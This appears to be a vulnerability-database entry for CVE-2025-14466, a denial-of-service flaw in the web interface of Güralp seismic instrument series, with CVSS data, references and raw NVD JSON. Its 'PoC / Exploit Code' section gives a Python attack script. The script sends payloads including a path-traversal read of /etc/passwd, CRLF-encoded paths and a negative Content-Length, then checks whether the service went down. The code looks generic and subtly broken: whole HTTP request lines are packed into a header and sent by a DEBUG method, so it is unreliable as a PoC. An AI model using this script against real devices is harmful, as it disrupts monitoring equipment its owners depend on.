CVE-2025-14466

Description

A vulnerability in the web interface of the Güralp Fortimus Series, Minimus Series and Certimus Series allows an unauthenticated attacker with network access to send specially-crafted HTTP requests that can cause the web service process to deliberately restart. Although this mechanism limits the impact of the attack, it results in a brief denial-of-service condition during the restart.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Güralp Fortimus Series - 所有版本

Güralp Minimus Series - 所有版本

Güralp Certimus Series - 所有版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import time

target = "http://TARGET_IP"
payloads = [
    "GET /.%0d./.%0d./.%0d./.%0d./ HTTP/1.1\r\n\r\n",
    "GET / HTTP/1.1\r\nHost: target\r\nRange: bytes=0-\r\n\r\n",
    "GET /cgi-bin/../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n",
    "POST /admin/config HTTP/1.1\r\nContent-Length: -1\r\n\r\n",
]

for payload in payloads:
    try:
        print(f"[*] Sending payload: {payload[:50]}...")
        response = requests.request(
            method='DEBUG',
            url=target,
            headers={'Payload': payload},
            timeout=5
        )
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")

print("[*] Waiting for service restart...")
time.sleep(5)

try:
    response = requests.get(target, timeout=10)
    if response.status_code == 200:
        print("[+] Service still running")
    else:
        print("[-] Service may be affected")
except requests.exceptions.RequestException:
    print("[+] DoS confirmed - Service unavailable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14466
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14466
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14466/
[4] VulDB https://vuldb.com/cve/CVE-2025-14466
[5] https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-350-01.json
[6] https://www.cisa.gov/news-events/ics-advisories/icsa-25-350-01

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14466", "sourceIdentifier": "[email protected]", "published": "2025-12-16T22:15:46.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web interface of the Güralp Fortimus Series, Minimus Series and Certimus Series allows an unauthenticated attacker with network access to send specially-crafted HTTP requests that can cause the web service process to deliberately restart. Although this mechanism limits the impact of the attack, it results in a brief denial-of-service condition during the restart."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-350-01.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-350-01", "source": "[email protected]"}]}}